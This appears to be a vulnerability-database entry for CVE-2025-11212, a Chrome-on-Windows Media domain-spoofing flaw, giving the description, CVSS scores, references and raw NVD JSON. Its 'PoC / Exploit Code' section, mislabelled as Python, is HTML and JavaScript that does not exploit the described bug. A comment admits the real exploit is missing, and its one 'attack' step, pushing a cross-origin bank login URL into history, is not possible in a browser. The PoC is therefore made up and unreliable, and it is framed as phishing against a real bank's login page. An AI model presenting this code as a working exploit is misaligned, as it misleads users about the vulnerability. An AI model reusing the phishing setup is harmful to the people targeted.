CVE-2025-11212

Description

Inappropriate implementation in Media in Google Chrome on Windows prior to 141.0.7390.54 allowed a remote attacker who convinced a user to engage in specific UI gestures to perform domain spoofing via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome for Windows < 141.0.7390.54

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-11212 PoC - Domain Spoofing via Media UI Manipulation -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-11212 PoC</title>
    <style>
        body { font-family: Arial; padding: 20px; }
        .spoofed-indicator { color: green; font-weight: bold; }
        .attack-area { border: 2px solid red; padding: 15px; margin: 10px 0; }
    </style>
</head>
<body>
    <h1>Domain Spoofing PoC - CVE-2025-11212</h1>
    <p>This PoC demonstrates the Media component UI manipulation vulnerability.</p>
    
    <div class="attack-area">
        <h3>Attack Vector</h3>
        <p>Click and interact with elements below to trigger domain spoofing.</p>
        <video id="mediaElement" width="400" controls>
            <source src="malicious_source.html" type="video/mp4">
        </video>
        <button onclick="initiateSpoof()">Initiate UI Gesture</button>
        <div id="status"></div>
    </div>

    <script>
        // Media element manipulation to trigger UI spoofing
        const mediaElement = document.getElementById('mediaElement');
        
        function initiateSpoof() {
            // Simulate domain spoofing via Media UI manipulation
            // In real attack: exploit Chrome's Media component vulnerability
            document.getElementById('status').innerHTML = 
                '<span class="spoofed-indicator">Domain could be spoofed via Media UI manipulation</span>';
            
            // Trigger specific UI gestures that exploit the vulnerability
            mediaElement.addEventListener('play', function() {
                // Exploit: manipulate UI elements to show fake domain
                window.history.pushState({}, 'Legitimate Bank Site', 
                    'https://www.bankofamerica.com/login');
            });
            
            mediaElement.play();
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11212
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11212
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11212/
[4] VulDB https://vuldb.com/cve/CVE-2025-11212
[5] https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop_30.html
[6] https://issues.chromium.org/issues/420734141

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-11212", "sourceIdentifier": "[email protected]", "published": "2025-11-06T22:15:39.210", "lastModified": "2025-11-13T15:29:31.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Media in Google Chrome on Windows prior to 141.0.7390.54 allowed a remote attacker who convinced a user to engage in specific UI gestures to perform domain spoofing via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "141.0.7390.54", "matchCriteriaId": "008031A0-CC1E-47CF-A136-90F4FE1FA9A7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop_30.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/420734141", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}